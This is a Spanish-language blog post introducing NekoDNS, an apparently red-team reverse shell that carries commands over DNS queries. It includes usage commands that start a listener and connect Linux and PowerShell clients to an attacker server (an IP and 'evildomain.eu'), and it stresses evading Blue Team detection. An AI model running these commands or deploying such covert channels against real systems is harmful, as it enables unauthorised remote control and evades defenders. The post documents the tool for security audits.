Muy buenas a todos!
Después de mucho tiempo sin publicar, vuelvo con una nueva herramienta destinada a reemplazar a DNSCat2: NekoDNS. Una shell reversa «experimental» para Windows y Linux, que funciona a través de DNS (sin consultas TXT) y que utiliza dominios aleatorios en cada una de las peticiones, entre otras muchas cosas.
Anteriormente, ya hemos hablado en este blog sobre herramientas para hacer maldades nuestras auditorías utilizando el protocolo DNS. Desde obtener una shell con DNSCat2 hasta exfiltrar información con Invoke-DNSteal.
Además de estas, existen muchísimas herramientas para hacer todo tipo de cosas a través de DNS, como túneles o conexiones VPN.
Una de mis herramientas DNS favoritas de todos los tiempos es iodine, que nos permite hacer un túnel entre dos extremos a través de este protocolo. Muy útil para bypassear portales cautivos sin autenticarte, conectarte mediante RDP (ya que necesita muy poco ancho de banda, a diferencia de VNC o protocolos similares) y poder navegar por Internet sin restricciones, incluso desde un avión.
Quitando el caso anterior, si nos centramos en lo que a hacking ético se refiere, normalmente nos encontraremos en las dos siguientes situaciones:
• Obtener una shell y ejecutar comandos
• Exfiltrar información a través de DNS
Ya que el tema de la exfiltración ya lo vimos con Invoke-DNSteal, hoy hablaremos del primero. Hasta la fecha, cuando quería obtener una shell remota sobre DNS, solía utilizar DNSCat2. El problema es que era muy inestable, me daba problemas con la caché DNS y era muy fácil de detectar por el Blue Team.
Así que, como siempre, decidí crear mi propia herramienta. Pero antes, os tengo que explicar de dónde salió la idea. Básicamente, cuando presenté Invoke-DNSteal, mucha gente me dijo que podía utilizar la misma lógica para obtener una shell por DNS. Realmente, ya tenía todos los elementos necesarios para conseguirlo. Entonces, por qué no hacerlo? 🤔
Fue en ese momento cuando nació NekoDNS, que aunque se encuentra en un estado «experimental», se puede utilizar sin problemas. De hecho, voy a sustituir a DNSCat2 por NekoDNS en Kitsune en la próxima release, por lo que también podrás utilizarlo en interfaz gráfica si lo prefieres.
⚠️ Recomiendo encarecidamente leer Invoke-DNSteal antes de continuar.
Ahora que tenemos clara la teoría, os explicaré cómo funciona la herramienta (a un nivel muy básico), con el fin de obtener nuestra primera shell remota 😋
Como siempre, descargaremos la herramienta de la forma habitual:
git clone https://github.com/JoelGMSec/NekoDNS cd NekoDNS python3 NekoDNS.py -h
Como podéis ver en la imagen anterior, la parte servidor tiene poco misterio. Solo tenemos que introducir la dirección IP donde escucharemos la conexión, el puerto y el protocolo. En mi caso utilizaré lo que podríamos llamar configuración por defecto:
python3 NekoDNS.py 0.0.0.0 53 -udp
Con esto, ya tendríamos el servidor a la escucha, esperando nuevas víctimas 🤓
Ahora, vayamos a la parte cliente. Para esto tenemos dos ficheros:
• NekoDNS.sh -> Para sistemas operativos Linux a través de bash
• NekoDNS.ps1 -> Para sistemas operativos Windwos a través de PowerShell
En función del escenario, utilizaremos una u otra. Para nuestro primer ejemplo, utilizaremos la versión de Linux:
./NekoDNS.sh -help
Como podemos ver, existen diferentes parámetros con los que podemos jugar:
| Parámetro | Descripción |
|---|---|
| -s <server> | La IP del servidor, que puede ser tanto local como pública |
| -d <domain> | El dominio que queremos utilizar para las consultas DNS |
| -l <lenght> | Longitud máxima de los chunks utilizados en las consultas |
| -i <milsecs> | Intervalo de descanso entre peticiones (por defecto 300ms) |
| -random | Utiliza dominios aleatorios en cada una de las consultas |
| -verbose | Habilita el modo debug y muestra todo lo que está pasando |
| -tcp | Utiliza el protocolo TCP para realizar las consultas DNS |
| -help | Muestra este mensaje de ayuda |
Para este ejemplo, utilizaremos la forma más básica de uso posible:
./NekoDNS.sh -s 192.168.204.128 -random -verbose
Si todo ha ido bien, obtendremos una imagen muy similar a la anterior. Veamos cada uno de los pasos:
• Se realiza una consulta con datos aleatorios para recibir el próximo comando
• Se recibe la respuesta 696:d616:f686:7700:: (whoami en hexadecimal al revés)
• Se decodifica el comando y se ejecuta (si es muy largo, se recibe en varios chunks)
• Se envía la respuesta (datos aleatorios + respuesta + datos aleatorios)
• Se repite el bucle de nuevo, siguiendo siempre esta misma lógica
Esto se repite con hostname y pwd, para poder construir el path:
Con esto ya tendríamos una shell reversa desde Linux, a través de DNS sin más complicaciones. Una vez dentro, podemos consultar la ayuda para ver los comandos disponibles:
No entraré en detalle, ya que son bastante autoexplicativos y son los mismos que utilizo en otras herramientas como PyShell o HTTP-Shell, por lo que ya deberías estar familiarizado con este prompt y estos comandos.
Ahora complicaremos un poco más el escenario. Vamos a repetir lo mismo, pero a través de Internet, en una máquina Windows a través de PowerShell y vamos a recibir la conexión a través de Kitsune. Es importante tener en cuenta que los parámetros en PowerShell cambian un poco:
./NekoDNS.ps1 -help
Primero, crearé un «listener» para NekoDNS en Kitsune:
Ahora que ya tenemos nuestro servidor corriendo, ejecutaremos la parte cliente:
./NekoDNS.ps1 -Server evildomain.eu -Random -Verbose
En este caso, se utilizará un dominio que actuará como resolver y utilizará la misma lógica que vimos en el caso anterior, con la única diferencia de que las peticiones primero pasarán por Internet, luego llegarán a nuestro servidor a través del NAT y recibiremos nuestra shell reversa sin problemas:
Al utilizarlo en Kitsune (recordad que no estará disponible hasta la versión 2.0), podemos aprovechar todos los módulos que estén habilitados en el Command & Control, crear informes, disponer de un historial completo de ejecución y reconexión automática entre otras muchas cosas más:
Como conclusión final, la herramienta se encuentra en fase «experimental» y es probable que se produzcan fallos en algunos sistemas y configuraciones específicas. Si encuentras alguno, no dudes en hacérmelo saber 🙂
Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.
Nos vemos en la próxima!